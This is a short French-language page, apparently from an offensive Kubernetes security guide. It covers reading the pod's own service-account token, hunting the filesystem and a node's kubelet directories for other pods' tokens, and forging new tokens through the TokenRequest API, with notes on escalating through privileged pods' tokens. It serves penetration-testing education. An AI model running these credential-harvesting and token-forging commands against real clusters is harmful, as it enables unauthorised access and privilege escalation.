Un compte de service Kubernetes est l'identité sous laquelle un pod s'authentifie, et son jeton est un JWT signé monté à un chemin connu. La découverte comporte deux volets : comprendre le jeton que vous détenez déjà, et en trouver d'autres. Le jeton monté vous indique quel compte de service et quel espace de noms vous êtes, en décodant ses revendications ; d'autres jetons apparaissent dans d'autres secrets montés, dans les variables d'environnement, et, sur un nœud, dans le répertoire de jetons projetés de chaque pod.
Comprendre le jeton que vous détenez#
T=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
# decode the JWT payload to read the identity claims
echo "$T" | cut -d. -f2 | base64 -d 2>/dev/null | python3 -m json.tool
# key claims: "kubernetes.io/serviceaccount/service-account.name",
# namespace, and for bound tokens the pod and expiry (exp)
Trouver d'autres jetons#
# secrets mounted into this pod that are themselves SA tokens
find / -maxdepth 8 -name token -path '*secret*' 2>/dev/null -exec sh -c \
'echo "== $1 =="; cut -d. -f2 "$1" | base64 -d 2>/dev/null' _ {} \;
# on a node (if escaped): every pod's projected token
ls /var/lib/kubelet/pods/*/volumes/kubernetes.io~projected/*/token 2>/dev/null
# legacy non-expiring token secrets, if readable via the API (next page)
Forger des jetons avec l'API TokenRequest#
Si l'identité actuelle peut créer des demandes de jeton pour d'autres comptes de service, elle forge de nouveaux jetons pour eux :
kubectl create token <target-sa> -n <ns> # needs the right RBAC
# raw API equivalent: POST .../serviceaccounts/<sa>/token
Ceci est le volet énumération de API TokenRequest ; son fonctionnement dépend du RBAC que porte le jeton actuel.
Notes d'exploitation#
- Décoder la charge utile du JWT (le segment du milieu, en base64url) révèle le compte de service et l'espace de noms exacts, ce qui pilote chaque vérification
can-icontre l'API. - Les jetons liés portent un
expet sont rattachés au pod ; les jetons de secrets de type hérité n'expirent pas et sont plus précieux lorsqu'on les trouve, voir les voies d'abus de jetons. - Sur un nœud, le jeton projeté d'un pod plus privilégié (par exemple un pod système ou de contrôleur) est une escalade directe ; l'accès au nœud rend le jeton de chaque pod lisible.